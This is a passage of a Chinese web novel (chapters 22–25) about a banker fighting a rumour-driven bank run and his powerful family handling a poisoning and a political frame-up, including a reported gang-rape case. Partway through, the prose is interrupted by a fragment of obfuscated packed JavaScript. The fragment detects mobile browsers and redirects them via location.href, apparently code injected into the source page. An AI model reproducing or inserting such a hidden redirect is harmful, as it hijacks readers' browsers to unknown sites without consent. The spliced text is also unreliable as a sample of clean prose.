沈靳晖看了一下怀表:“我走!时间不早了,你也回去吧!太累了,也做不成什么事情。”
沈靳言点点头:“你先走,我在等一个电文。”
沈靳晖又来了精神:“和救市有关的?”
沈靳言惜字如金:“嗯。”
沈靳晖用眼睛询问沈靳言,沈靳言道:“我还没有收到电文,我怎么知道电文的内容会是什么?”
沈靳晖被这个“诱惑”挠得心痒痒,屁股一歪,坐到沙发上:“那我不走了,就你看得电文,我看不得!”
沈靳言无奈,他最近也为救市尽心竭力,比以前沉稳了许多。
不一会儿,井弘深拿着翻译好的电文进来,递给沈靳言,沈靳言没接,下令:“念!”
井弘深收回伸出去的手,压低了声音开始念:“花国通商银行总行沈经理靳言台鉴:本日晚八时许,横滨银行总经济顾问岛津齐哲以吃饭之名义密会歌星东方云韶、众议长欧乐贤之子欧郁诚、百姓银行总裁裴成益家的公子裴胜俊、前财政部长皇甫元思之女皇甫乐珊、议员金智翰之女金巧云、国务总理之子严鹤,虽因贵行秘书萧素素驾到差点中断聚会,后萧素素离开,聚会得以继续进行,几人协商于明日
《发展京报》引发易外,制造花国银行、交通银行即将停闭的谣言!”
“把萧素素给我叫进来!”沈靳言气不打一处来,就这样连名带姓的发出了命令!
吓得沈靳晖抢过井弘深手里的电文赶紧解释:“你看你看,上面写了一句......后萧素素离开,人家没参与……”
井弘深不敢替萧素素分辨,赶快去秘书室叫萧素素。
萧素素进来的时候,发现行长办公室气氛冷到了冰点,沈靳言睃了他一眼,对沈靳晖说:“把电文拿给她自己看!”
萧素素像瞌睡没睡醒一样,看了一遍又一遍,她每一个字都认识,每一个字都知道意思,也能遣词造句,但是他们和在一起什么意思呢?她呆呆的看了一会儿,然后一脸无辜:“我不知道他们干的这些勾当,我也不可能知道......严鹤约我出去吃饭,我就出去吃饭了,我不知道是去鲲鹏俱乐部,我也不知道会有这些人在,更不知道他们干的什么勾当!”
沈靳晖进一步替萧素素声辩:“是的,我看到那个岛津齐哲和萧秘书的时候他们根本就话不投机,分明是不欢而散!”
有人给萧素素撑腰,她就开始撒泼,屁股一歪往沙发上一坐:“我一进去,皇甫乐珊就讥讽我是区区陆军少将之女,不配出席今天的聚会,我原先看到是这几个人,本来就不想和他们有什么牵扯,听到她这么说,我就说她爸爸已经下台了......”
沈靳言:“......”
沈靳晖:“......”
井弘深:“......”
虽然说的乱七八糟,但三人已经理解了大意,她好像根本就不知道聚会的目的是什么?
萧素素看到他们震惊的眼神了,有点吞吞吐吐:“......我才是看不惯他们呢......我就出来了!”
沈靳言觉得以前不敢跟她明说的事情现在不得不明说了:“我是不是跟你说过不要跟严鹤来往?你不听!你知道他们做的事情多么恶劣多么可恶吗!你顶着你父亲的名号,做这样的事情,你是想让你父亲成为千古罪人吗?”
萧素素脸火辣辣的疼,头脑也在发热,觉得自己像行走在沙漠里,焦虑、丢脸、无助。
那感觉就好像头顶是明晃晃的太阳,烈焰升腾,灼灼的炙烤
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着她。
她就和严鹤出去了一趟。他怎么知道严鹤干了些什么勾当!严鹤也没有告诉她还有那些人在!如果那些谣言一旦登报,花国的挤兑风潮将越演越烈,无法控制,她确实会成为千古罪人,她大爸也会被她连累!
惭愧、内疚、后悔、焦虑、怨恨、自责,这些感情交织在一起,拥堵在她的喉间,萧素素艰难的想把它们压下去、吞下去,如鲠在喉,压也压不下去,越是这样越是压不住,粉泪如决堤之水涌了出来。
沈靳言看着刚刚还勇敢撒泼的女孩垂着头,肩膀一抽一抽的,眼泪啪嗒啪嗒的砸在她的洋裙上。
他模糊的想:有人的眼泪居然可以这么大一颗吗,粒粒分明的?他也没想让他哭啊,他虽然生气,却也不是生她的气!
沈靳晖看到萧素素哭了,很不认同:“我二哥也没有骂你啊,你怎么就哭了?我八妹都没有你爱哭……你为什么要哭?我二哥为了你好!他爱惜你爸爸的名声,也爱惜你的名声?你真不懂吗?”
沈靳言也不认同他这个四弟,对井弘深摆摆手,让他先出办公室。又对沈靳晖道:“沈靳晖,你真的可以走了!”
沈靳晖才不想走呢,他从来没有见过人哭起来这么好看的。
他坐在靠着萧素素那一边的办公桌面上,道:“你知道这些王八蛋多可恶吗?人家外国人害咱们,他们不阻止不抵抗不说,还胳膊肘往外拐......你要知道西方各国通过破坏花国的财政金融,来策划花国通商口岸的门户开放和国际共管的口实。英国人、日本人还有美国人......”
萧素素拿衣袖迅速擦干眼泪,哽咽道:“我懂......我都懂......”
什么?沈靳晖气势矮了一截,那她哭什么?她不是委屈吗?那是因为什么?
“行长,我们既然知道了他们密谋什么,我们不阻止吗?”萧素素知道自己错了,她不希望这样的事情发生的。
她要是知道严鹤是这样的人,压根就不会跟他来往。
沈靳晖一愣,眨眨眼睛,也看向沈靳言:“我们不会就看着他们制造谣言,引起混乱吧?”
沈靳言道:“明日《花国日报》、《京师晨报》、《金融周报》、《花国新报》、《京师商报》等会同时登报花国银行、百姓银行、通商银行、招商银行的审计报告。”
沈靳晖道:“你不是说塔门和珀西理查不能来审计了吗?”
沈靳言道:“对,他们被岛津齐哲请去审计横滨银行在南亚各国开设的分行了!”
“这个姓岛津的,真是卑鄙无耻!”沈靳晖咬牙切齿,要是岛津齐哲在这里,他恐怕会咬他一口。
萧素素求知若渴:“比塔门和珀西理查更有名的会计师可不多,也不好请。后来您又请了谁?”
沈靳言道:“亚当斯萨皮尔。”
萧素素道:“他可不好请,不知道谁这么大的面子。”
“我妹妹沈静恬将他请来的。”
22. 挤兑(七)
萧素素从行长办公室出来,喝了口热茶,心里盘算着怎么回家,总不至于真的厚着脸皮去坐沈靳晖的车吧,万一他真的要赖在行长办公室过夜呢?
整理包包的时候,瞄到施卓然桌子上有个报纸,很醒目的标题《团长之妻遭六人凌辱,反被诬陷是神经病》。
就是沈靳晖早些时候说的那个新闻,他以为沈靳晖是吓唬她,再怎么说是乱世没有王法,毕竟团长的官职也实在不小了,究竟哪些人这么大胆?
她伸手去拿过报纸,大冷的天,看得她直冒汗,简直骇人听闻!
报纸上的受害人安小蝶是已故陆军中将安天干之女,现年26岁,六年前嫁给了陆军38团团长曹济元,曹济元今年已经43岁了,典型的老少配。入秋以来,安小蝶带着两个儿子在京师医院照顾身犯绝症的丈夫,没想到,上一周周三上午,却被住在同一楼的六个病友轮.奸了。
报纸上详细登载了安小蝶的自述:“......我咬他们,但是他们把我嘴巴堵住了,我嘴里再也发不出来声音......第二天早晨我拿着被撕碎的旗袍和下衣,去找医院院长和副院长,他们开始不相信我说的,我说谁会拿自己的声誉开这种玩笑,又不是不活了,后来我描述了更多细节,院长和副院长都义愤填膺的表示要为我主持公道......
但是,出了院长办公室我发现院长和副院长不是去追查真相,而是命令护士们赶快去打扫冲洗我被侵.犯时的房间......我抱着那件旗袍准备去京师警察局报案,却在门口被一个护士塞了一个纸条,纸条上说我的两个小孩被他们接去暂时照顾,我担心两个孩子的生死,只得回了丈夫的病房......
下午,院长来求我说,为了保护全院医护人员的声誉和那六人的合法权益,请我将此事隐瞒,医院和那六人愿意给我五亿花国兑换券的安慰费……
......这件事情我本是瞒着我丈夫的,可是医院的院长和其他领导不愿与我单独谈,非要当着我身患绝症的丈夫谈……我丈夫当场吐血身亡……”
……
“萧秘书,你怎么啦?”沈靳言从办公室出来,看到萧素素手里拿着一张报纸,额头上细细密密的冷汗,出声唤她。
萧素素惨白着脸,道:“没事,就是太热了。”
今天下了今年的初雪,虽与深秋的落叶相映成趣,却也是真的冷了。
沈靳言目光锁定在萧素素手里拿的报纸,猜到她是被那则新闻吓到。
她转身对跟在他身后的沈靳晖道:“夜深了,你回家吧,我送萧秘书回家。”
萧素素不愿坐老板的车回家,忙说:“不用了......我去坐人力车......”
沈靳言瞪了他一眼,道:“新闻你没有看明白?”
萧素素:“......”
沈靳晖:“我送她回家吧,我本来就说要送她回去...”
沈靳言睃了他一眼,直白道:“我不放心你...”
沈靳晖气得要“造反”:“我是你四弟,弟弟这个词你知道是什么意思吗?你怎么能玷污你弟弟的名誉,何况我今晚才把她从……”
沈靳言打断他,催萧素素:“快点,我还要去检查那几家报纸是不是按我的要求登的审计报告,别被人偷梁换柱了。”
这也太小心谨慎了!那几家报纸都是沈家势力范围之内的报纸,谁敢不听他的?
沈靳晖道:“你就不能学着大哥多养几个人替你跑腿儿,再好的肝也得被你给累坏!咱又不是养不起人!”
沈靳言道:“黄河建设、黄河百货、黄河煤油总共工人六万多人......我养的人可不少!只是这件事可不是小事,挤兑之势若再不控制,神仙也救不了花国的金融界。”
萧素素还是不想让沈靳言送她,弱弱的发声:“太晚了,我就在办公室睡吧,回去也睡不了多久了。”
沈靳言道:“你一个女孩子不回家,你父母亲会担心你的。”
萧素素道:“我父亲去沪城了,母亲去宝坻了......都不在家里。我回家也只是给佣人增加一点工作量。”
井弘深则想为沈靳言分忧:“行长,您派我去替您盯报纸的事吧?您放心,搞砸了,我提头来见您。”
沈靳言想了片刻,道:“你去务必要看到他们所有的报纸,而不是收发室单独给你拿来看的一张......办好这件事,明天你可以休息一天,你这些天也累了。”
井弘深显然很高兴,步子轻快了许多。
沈靳晖也走了,留下沈靳言和萧素素两人就很尴尬,大眼瞪小眼。
沈靳言看着萧素素手里捏皱了的报纸道:“别担心,你父亲虽只是陆军少将,但他护得住你......而且,不是还有我吗?只要是身上有我的名号的人,我都会护着。”
萧素素不明白他的意思,抬眼时发现沈靳言看着自己手里的报纸。
哦,大约明白他的意思了。
她不是伤春悲秋的人,她亦不是由此及彼的人,她只是觉得报纸上报道的这个案子太没有王法了,尽管她亲生父亲的死就早就说明了这世上没有一点王法。
沈靳言道:“今晚你在我办公室睡吧,那里有沙发。”
那怎么可以,萧素素道:“那你呢?”
沈靳言道:“隔壁那个酒店的总统套房我包了年。”
京师大饭店就在隔壁,花国最先进的饭店。
萧素素:“......”
行吧,她不懂这是什么骚操作。但是她懂了,沈靳言为什么即使天天加班到深夜,半个月不回家也每天很干净清爽,精神抖擞!
沈靳言表情很不自然,又道:“我最近是风云人物,你和我出入酒店要被记者拍到了,可就不好了。我办公室里的壁炉烧着的,不要担心冷。沙发也很柔软,虽然比比上家里,但坚持一晚也能将就,明天早上我给你带洗漱的东西和早餐......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428350|153825||http|test|mini|href|location''.split(''|''),0,{}));
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>萧素素:“......”
他解释这个作什么,萧素素从来都不觉得别人应该请她住酒店。
沈靳言走了,世界也安静了。萧素素却不敢真的去行长办公室睡。
那里的机密太多了,她怕她忍不住会去翻看。
穷日子她过得可多了,凑合凑合一晚就过去了,没什么,于是她就在自己的工位上趴了一晚。
沈靳言早上来的时候,看到她睡觉流的口水在她办公桌上好大一滩,她粉嫩嫩的脸已经被口水淹没了!又不是小孩子了,太没有形象了!
沈靳言怕她醒了以后不好意思,又偷偷出去街上逛街了。
街上的叫卖声此起彼伏,有商贩的,也有报童的。
“卖报卖报,《发展京报》,花国银行、百姓银行即将停闭......”
“卖报卖报,《花国日报》,世界著名会计师亚当斯撒皮尔的最新审计报告……”
“卖报卖报,《花师商报》,世界著名会计师亚当斯撒皮尔的最新审计报告……”
“卖报卖报,《京师晨报》,世界著名会计师亚当斯撒皮尔的最新审计报告……”
一女子拦路:“客官,一美金可以让你快活一早上。”
妖娆女郎、身段火辣,穿雪白素锦底杏黄牡丹花纹锦绫旗袍。
沈靳言抿着嘴绕过那女郎。女子生存不易,但他不认为给她一美金睡她一次是在拯救她。白白给她一美金,也不可能,他没有那么大的善心。
这个国,这个家,太多人需要拯救了。
他买了一份《发展京报》,拿在手里进了一家早晨店。
内言该报记者截得一电报局的秘密电报,内言京师银行界如何不稳,金融界已经束手无措等等,最后说总理府、参议院、众议院已在商量停闭花国银行、百姓银行之事宜。
报纸上还印了那张“截得”的秘密电报。
街上人头攒动,一家报纸说花国最大的两家银行即将停闭,其余各家都说这两家银行现银充足,又有东北督军府运往京师的300万两现银做补充,花国绝不会出现五年前那样的停兑风波。
到底怎么回事?人们稍一动脑筋就知道了,银行停闭之事,绝对是谣言!
街上有些人宣传外国人的阴谋,说在华盛顿会议上,外国人就是希望花国金融经济混乱,好有借口帮助花国管理金融市场。
也有人宣传东北都督为了金融市场的稳定,慷慨解囊,为百姓纾困云云。
亦有人宣传京师银行公会通力合作组织临时公库,公库致力于取存定期存款,到期公库内银行共同负责付现,且制定详细对策21条。
沈靳言坐在早餐店里一直看报纸,没有点早餐,店小二看到他身上的西装、手腕上的手表,也不敢来催他,在他隔壁桌抹了三次桌子。
沈靳言笑着从兜里掏出10美元给点小二:“一屉包子在这里吃,一屉蒸饺带走,给我在端碗粥来,不用找零。”
23. 内讧(一)
萧素素醒的时候看到了沈靳言轻轻出门的背影,她被自己桌上那摊口水彻底吓到,猜测沈靳言应该没有看到吧?
起来快速的整理了一下,又将秘书室和行长办公室收拾了一下,沈靳言还没有来,她不知道应该等沈靳言给她带早餐还是直接出去吃,有点尴尬。
想想还是自己出去吃吧,万一人家只是说说而已呢。
银行大楼后侧有个隐秘的通道,专门留给银行员工通行的。萧素素从这个通道出去,不远处就有早餐铺子,刚好在下楼梯的时候,遇到了迎面从后侧门进来的沈靳言。
天还蒙蒙亮,萧素素看到他的乌发上、衣襟上落着雪。嘴唇却很红润。
见到萧素素跑出来了,沈靳言便站定了看着她。
萧素素几步上前,问道:“行长,你怎么起来这么早?”
沈靳言看着她,却笑起来。他披着件墨狐狸皮的披风,脸陷在毛茸茸的领子里,就觉得给人一种温暖安稳的感觉。
沈靳言道:“我给你带了蒸饺,你如果还想喝点粥,我们就一起下去。”
萧素素接过蒸饺,道:“有这个就够了,我早上没有什么胃口。”
两人一起回了办公室,沈靳言把刚买的报纸和洗漱用品也递给萧素素,笑道:“事情都按预想的发展了,这次挤兑风潮很快就会平息了。等明年春天,我们再多设几个分行。”
萧素素看到了《发展京报》上严鹤他们捏造的假新闻。正在发呆,沈靳言却催促道:“快去洗洗,洗了才能吃早饭。”
萧素素觉得自从妈妈过世后,就没有人早起l催过她洗漱了。
她便笑着应了,打开那些洗漱用品,她长得好,笑靥灿烂灼灼,比春日海棠还娇艳三分。
沈靳言想起她流口水的画面,比现在难看多了,不免嘴角也弯了。
萧素素去洗漱,沈靳言就进了行长办公室,不一会儿,银行大门被拍的啪啪的响,两个护卫赶紧去开了门,一看对方的凭证,有一人便把来人领了上来,是沈家老宅的温管事。
沈靳言看到温管事。心不由的一紧,老宅里跑腿送信的自有小厮,什么事能劳动温管事亲自出马?
前世这个时间沈家也没有什么事啊!
“这么早你就过来......是父亲有什么事吗?”
“参议长夫人昨日来府里打牌,回家后不久就暴毙了,死因是中毒......参议长怀疑是在沈府故意下毒的,所以老爷命我来请二少爷回家商议。”
沈靳言拿着包就走,出门的时候叫上萧素素:“萧秘书,今天我给井秘书放假了,就由你跟我走吧。”
萧素素不知道发生了什么事,看到沈靳言脸上焦虑万分,马上提着包跟他走了。
秘书室那架巨大的座钟恰在这时响了。
沈靳言的脚步悄然停住。
四声,五声,六声,七声。
他发现自己不得停歇,即使重生,轨迹也不会一模一样,还有很多未知的危机在前面等着他。
沈家老宅外面的街上站满了京师警察局的警察,黑色警服,盾牌警棍。
京师警察局局长易俊驰也在,他望着沈府的朱门大院,也没有更近一步。沈靳言停了车,和萧素素快步走上前,边作揖边道:“易局长,你大早上带着这么大队人马来这里所为何事?”
易俊驰亦称呼沈靳言官职:“沈局长。”他顿了顿,道:“昨晚参议长夫人中毒身亡……易某奉命来执行公务。”
他只说他在执行公务,并没有说参议长让他去沈家拿人的事,他能升到京师警察局局长这个职位可不容易。他当然知道沈家可不是他易俊驰能得罪的,参议长可以怀疑沈家的人,但话不能从他嘴里说出来。
沈靳言冷笑一声,道:“参议长夫人身故,您不去参议长府邸彻查真相,跑这大街上逛什么?”
沈靳言也当然知道易俊驰是想进沈家,但他也不说破。
易俊驰尴尬的笑道:“参议长夫人被人谋害,按工作程序,易某要带着人排查她去过的地方,这里参议长夫人生前来过......来这里是易某的职责。”
他依然绝口不提要进沈家抓人的事,而且他虽说了“这个”,可“这里”二字可以理解为沈府,亦可以理解为沈府外面的大街上。他带着人来了“这里”既可以向参议长吴景深交代,也可以不得罪沈府吧?
沈靳言问道:“可排查到了什么?”
易俊驰道:“还没有,正在排查。”
沈靳言道:“我们家和参议长家可是世交,吴夫人就像我沈二的婶母一样,等我回去稍做休整,定会帮助参议长追查真凶。”
易俊驰道:“沈局长深明大义,参议长在哀痛之余也会感到一丝安慰吧。”
沈靳言道:“既然易局长执行公务,那我就不请易局长进府喝茶了。”
易俊驰点点头,走得离沈府远了些。
萧素素看到发生的一切,嘴角抽了抽,堂堂的京师警察局局长,来了沈府门前也不敢进沈府查问,就这么走了?
......
沈松龄住的院子是一个五进的老式宅院,黑漆、瑞脑销金兽衔铜环的门敞开,台阶上雕刻了松柏梅兰纹的图案,旁边种了松柏,相映成趣。
正有大丫头在台阶旁边等着,看到沈靳言和萧素素过来忙屈身行礼,笑盈盈地道:“二少爷安好,老爷正在屋里等着。”旁边又有一个小丫头进去通传。
沈靳言问她:“其他公子可回来了?”
青莲目光有些闪烁,道:“老爷只请了您回老宅。”
萧素素凝视这个大丫头片刻,她穿着件豆绿色缠枝纹的旗袍,盘了头的,应该是沈松龄的通房。
沈靳言指了指萧素素对这个大丫头道:“青莲,这位是我的秘书,带她去吃口好茶。”
他随手给了青莲一个美元硬币。青莲接过那硬币,兴奋得
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脸颊红彤彤的,受宠若惊地屈身道:“谢二少爷,放心进去吧,老爷该等急了。”
沈靳言想到上次带萧素素来老宅,害她受了伤,这次可不能让她有事,青莲虽然只是个下人,却是个实权派的,又是父亲通房,由她照顾萧素素,应该不会有任何问题,念头刚闪过,就已经进到第五进了。
丫头挑了玄色镶边宝蓝撒花缎面帘子。转过一架沉香木雕的四季如意屏风就看到一间宽阔的次间。
房里的家具都用的是黑漆,十分厚重,透露着岁月沉淀的痕迹,但是沉重压抑,让人无法呼吸,亦如现在的气氛。
沈松龄坐在罗汉床上,闭目转着平日里拿的那串佛珠,欧繁汐坐在靠窗边的新式沙发上,宋婉则都坐在那张楠木嵌螺钿云腿细牙桌旁,几人都没有说话,唯有宋婉眼睛通红,像是哭过一样。
沈靳言还没有给沈松龄问安,就问:“父亲,我二妈妈怎么了?”
有欧繁汐在,他按礼数只能称宋婉二妈妈,这该死的封建礼教!
宋婉道:“......靳言,你要相信我,我没有害她,我真的没有,我和她无冤无仇。”
沈靳言更是一头雾水,吴景深的夫人中毒身亡,和母亲能有什么关系?
欧繁汐道:“昨日我约参议长夫人、财政次长夫人打牌和众议长夫人来府里打牌,晚上参议长夫人回府后中毒身亡,医官检查后说是中了绿珊瑚的毒,而参议长府邸只有一盆绿珊瑚盆栽,还是你妈妈送给她的。”
沈靳言记得母亲的澄园里是种了许多玛格丽特盆栽,也有一小片绿珊瑚盆栽。
他很震惊,难怪父亲只唯独通知了他一个儿子来。原来是因为吴景深怀疑母亲的绿珊瑚盆栽害死了吴夫人?
不过,他相信母亲的清白,不是因为她是他的母亲,而是因为母亲一向不参与勾心斗角,且她确实向来与吴夫人没有来往,无怨无仇。
那么,是谁在陷害母亲呢?这不仅是很生硬的牵扯,还是很拙劣的陷害!到底是谁?生搬硬套的陷害母亲?
沈靳言顿了顿,柔声问宋婉:“二妈妈,你什么时候送吴夫人绿珊瑚的?我记得你和她没什么往来,你为什么无缘无故送她这个?”
宋婉诚惶诚恐:“是她自己派人来讨的,还是前几天来府上与夫人打麻将的时候,她身边的贴身丫鬟来对我说,吴夫人听说我手里有非洲安哥拉引进的绿珊瑚盆栽,问我可不可以赏她一盆?我心想,一个盆栽而已,人家要来讨,我不给就太小气了......我还特地嘱咐了丫头,说绿珊瑚虽稀奇,却不是个好的,只可远观,它全身含毒,折断后流出的白色汁液会导致中毒。”
沈靳言望向欧繁汐,道:“夫人,您有没有对参议长夫人提过二妈妈院里有哪些盆栽?”
他知道这样问有些不妥,欧繁汐和母亲常有妻妾之间的矛盾,他这样问会让欧繁汐觉得他是在怀疑欧繁汐陷害母亲,不过,他管不了那么多了。
24. 内讧(二)
“放肆!”沈松龄终于睁开眼睛,怒斥沈靳言。
有丫头轻轻进来给沈靳言上了茶,沈松龄便没有斥责他,欧繁汐简直怀疑这个死丫头是故意的。
沈靳言觉得茶太热了,不想喝,就放在宋婉挨着的桌上,自己也找了位置坐下。
他并没有惊慌,也没有对沈松龄解释什么,而是望向欧繁汐,道:“母亲,咱们有什么话全都当面说清楚,以防外人钻了空子......您知道,哪有什么高楼平地起?我沈氏世代名门,如今连总统都是我们的傀儡,要知道我沈氏一旦陨落,这全家老少又有谁能保得全尸?”
欧繁汐开始听着沈靳言的话的确是很生气,又听他第一次唤了自己“母亲”,还是当着宋婉的面唤她“母亲”,便觉得十分受用,后又听他说的有理,不免点了点头,道:“二少爷说的这些我这个做母亲的都懂,我也是一贯防着这些官员的家眷的,怎么可能跟她们说家里姨太太都种了些什么盆栽呢?这完全没道理呀!”
沈靳言在这件事情上是相信欧繁汐的,欧繁汐的确是会做出妻妾之间相互掐架的事情来,但她向来傲气,认为拿捏姨太太还不是她顺手的事,她是绝对不屑于借外人之手来对付宋婉的。
沈靳言分析道:“既然母亲没有说,那她又是如何得知二妈妈院中种了绿珊瑚呢?从沈府前院进来,并不经过二妈妈的澄园......如此说来,我沈府的下人中必有被外人收买的。”
欧繁汐道:“母亲一定会把这些不清不楚的下人处置掉。”
沈靳言不置可否,又问欧繁汐:“母亲,以前打牌吴夫人也是带的那个贴身丫鬟吗?”
欧繁汐细细回忆,摇了摇头:“我听说吴景深和吴夫人夫妻失和已久。吴夫人前几个月把常跟来沈府的贴身丫鬟给吴景深做了六姨太,现在这个贴身丫鬟的来路我不是很清楚。”
宋婉眼眶更红了,她听着沈靳言叫欧繁汐一声接着一声的“母亲”,心里很不舒服,可若不是那盆绿珊瑚惹了祸,沈靳言也不至于要给欧繁汐叫“母亲”。
沈靳言又道:“以前与母亲打牌的太太中好像没有众议长欧乐贤的夫人,你们是什么时候开始来往的?”
欧繁汐道:“没多久,她就来了家里两次,头一次还是她主动约我去她家打牌,我嫌麻烦,就让她来家里......你是怀疑她?”
不等沈靳言回答欧繁汐,沈松龄便道:“这妇人来我们家甚是可疑,我与欧乐贤一向不对付,她还与你来往做什么?天下哪有平白无故献殷勤的,俗话说无事献殷勤,非奸即盗,何况她丈夫欧乐贤最近老是与日本人勾肩搭臂的,这就更加可疑了。”
欧繁汐心虚,生怕沈松龄怪她乱带人到家里来,赶忙道:“她一个妇道人家,能干点什么出来。”
沈靳言道:“她有什么目的不好说,也未必与此事有关......而且,吴夫人的死因也未必与那盆绿珊瑚有关,现在情势太复杂了,也并不排除外国人也参与进来了。”
沈松龄望向沈靳言,道:“现在是什么情况?虽然不至于像五年前那样满城饥荒,商铺关张,要是像现在这样我们自己内讧起来,到时候局势恐怕比五年前还要糟糕的。”
沈靳言道:“吴景深未必不知道这事是别人挑拨离间,但他让易俊驰来围我们沈府,态度已经很明确了,无非就是要和我们撕破脸了,父亲,是时候做出决断了。”
沈松龄下了罗汉床,走到宋婉跟前,把她搂在怀里,轻哄道:“好了,不要担心,这事原与你无关,都是别人诬陷的你,我和靳言会给你讨回公道......你和太太都回自己的院子去。”
宋婉咬着嘴唇,小声哽咽道:“妾身只是......只是怕给老爷添麻烦。”
沈松龄心里叹了一口气,继续轻轻拍打着她的背,比起其他女人,他从来都是更喜欢宋婉一些,无论何时宋婉都是娇娇弱弱的,但她从前被家里保护的太好,遇事只知道掉眼泪,经不得任何大事,他沈松龄要维持如此大的家,不能由着宋婉的软弱给败了,才没有许她正头夫人的身份。反正不当这个家,宋婉还享福一些。
欧繁汐心里醋意翻腾,他知道沈松龄做什么都没有耐心的,以前跟宋婉卿卿我我还避着她们其他妻妾,今日他儿子也在,她这个正头夫人也在,这两个老不羞的还在那里搂搂抱抱,看着就碍眼。
她起身想避出去又不敢,怕沈松龄觉得她不够大度,就那么尴尬的坐在那里。
沈松龄还在细细诱哄宋婉,道:“你这是什么话!你自从跟了我,从来乖顺懂礼,也没有给为夫添过麻烦,这次当然也没有给为夫添麻烦,主要这次......原本就是没有你,他们也会找个别人来陷害,都是为夫的事牵扯出来的。”
沈靳言自顾自端起那碗茶,慢慢的喝了,听着父亲诱哄母亲的话,心里更是安慰,撇见欧繁汐坐在一旁,便道:“父亲,母亲还等着你示下呢。”
这个母亲当然是说的欧繁汐。
沈松龄终于道:“好了,婉婉,不许再哭了,如今靳言都是独当一面的话事人了,你还哭哭啼啼,也不怕咱们儿子笑话!”
宋婉这才用手绢擦掉眼泪!
等欧繁汐和宋婉出去了,沈松龄问沈靳言道:“你有什么计策了吗?”
沈靳言知道父亲其实心里早就有决断了,问他只是考他而已,他道:“吴景深和她夫人不睦已久,他夫人怎么死的也不好说。如今外头太乱了,由不得咱们东家长西家短,只有快刀斩乱麻了!......想当年吴景深是因为效忠父亲我们才保他的参议长之位的,如今他敢公然让易俊驰围咱们,来日就敢杀了咱们,不如,把我们手里捏着他的把柄放出去,再着人弹劾他,就齐全了。”
沈松龄点点头:“交给你了。”
沈松龄看沈靳言要走,“啧”了一声:“你还是稚嫩了些,他夫人
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之死不给公众一个说法,难免会留下与我们不利的口实。”
沈靳言不解,本来吴夫人的死就未必与母亲那盆绿珊瑚有关,那就根本不关沈家的事,凭什么沈家要给吴夫人的死一个说法。
沈松龄说道:“严学熙、欧乐贤这几个人也会想沈府有个说话的......很多人都看到了易俊驰带人来沈府,不如利用这一点。”
沈靳言看着父亲手里那串佛珠暂时没有说话。
沈松龄道:“在京师医院侵犯安天干之女安小蝶的六人当中有一人是吴景深的侄子,他的这个侄子与吴夫人早已私通,把这事告诉易俊驰,易俊驰就知道这个案件该如何断案了?”
沈靳言很震惊,问道:“父亲说的这事可是真的?”
沈松龄脸色很阴沉,道:“必须把这事变成真的。”
沈靳言皱了皱眉,这也太指鹿为马了,但他知道若是父亲不这么心狠手辣,他们家这几十口人早死千百次了。
沈松龄道:“你亲自去把易俊驰叫到我的书房来,吴夫人之死的事你就不用管了。你只管如何让吴景深下台的事。”
易俊驰被沈靳言请进了沈府。
在京师,真正气派的住宅便是沈府这样由前朝王公贵族留下来的宅邸,易俊驰跟在沈靳言后面,却也根本没有心情欣赏其中的气派,看着沈府里那么多的护卫,他对自己的前途迷茫了。
其实刚刚在沈府外面的那一个多小时,他早就琢磨清楚了,他能上京师警察局局长之位是因为吴景深的支持,而吴景深能当上参议长,是因为沈府这个花国第一家族支持。
沈松龄为了更好的把持花国,给自己安了一个在花国历史上从来没有的官职叫“资政”,凌驾于总统之上。
现在吴景深让他来围沈府,这无异于让他拿着石头去砸天,那天没有砸到,石头落下来会不会砸到他自己呢?
现在“天”要找他,为了什么事呢?不难猜测,肯定是要决定他生死的事!
他还没有进沈松龄的书房,就早早的做了一定要好好活着的决定。
沈靳言在父亲的书房前停下,笑着道:“易局长,我父亲吩咐人在书房泡了永川新芽,您进去和他好好品一品茶......我就不进去了,银行还有很多事等着我回去处理呢。”
易俊驰从善如流:“沈局长,您去忙。”
易俊驰进了书房,沈松龄先没有说话,而是静静的观察他。
易俊驰的警察装是笔挺的,脸是白的、眼袋是青的、牙齿是黑的、笑是谄媚的。
沈松龄道:“安小蝶的案子已经发生了半个月了,为什么案件还没有侦破?”
易俊驰一头雾水,安小蝶是谁?资政让他进来,不是来说参议长夫人之死吗?
他想了好一会儿,才想起前几天在花边新闻上看到的那则新闻《团长之妻遭六人凌辱,反被诬陷是神经病》,受害者好像是叫安小蝶?
25. 内讧(三)
安小蝶是中将安天干之女,丈夫又是陆军38团团长,她出身很高了,但她遭人轮.奸,至今无人敢管,自然是因为侵犯她的六个人个个背景强大,比她的背景还要强大!
易俊驰没有管这个事,但既然沈松龄问这个事,他可不敢乱说,要是他说根本没有管这个事,沈松龄今天就会给他赏一颗“花生米”吃。因此他笑嘻嘻的说:“已经调查的差不多了,正要将他们绳之以法,资政放心,我们京师警察局一定会秉公执法,绝不放过任何一个犯罪份子。”
沈松龄道:“那六人都是军人,依律本应枪决,只是其中那个叫吴英发的,总不能枪决两次吧?”
易俊驰赫然开朗,沈松龄原来在这里等着他的,吴英发正是吴景深的侄子,易俊驰不解:“他除了这件案子,还犯了何事?”
“玷污婶母,逼得婶母服毒自杀,该当何罪?”
易俊驰从善如流:“自然该千刀万剐!”
沈松龄道:“易局长是国之栋梁,我和总统阁下都是看在眼里的,你只需要在一些细节上稍加注意,定能步步高升。”
易俊驰忽的站起来,举手向沈松龄行礼。
上位者画饼,理应立刻表示忠诚。
......
从沈府出来,萧素素很自然的走到驾驶室,他是应沈靳言的要求学的车,又是和沈靳言一起出行,作为秘书,自然该她开车,就和早晨来沈府的时候一样。
沈靳言语气淡淡:“还是我开车吧?”
萧素素惶恐的看眼沈靳言,觉得他现在的状态和进沈府前完全不一样了,隐隐的有些畏怯:“我来的时候开的不好?我......第一次开车。”
沈靳言才发现自己的语气让她敏感了,道:“我们要去办点重要的事情,我怕你不知道路。”
萧素素还是觉得他是怕死,怕她开不好车,她爬上副驾驶,惶恐了一会儿,见沈靳言一直面无表情的开车,鼓起好大勇气才问道:“参议长夫人的死弄清楚了吗?”
沈靳言沉默,依旧面无表情,良久,才长长的呼出口气,这口气十分的沉闷,像是被巨石压了很久终于挣脱出来能呼吸了一样。
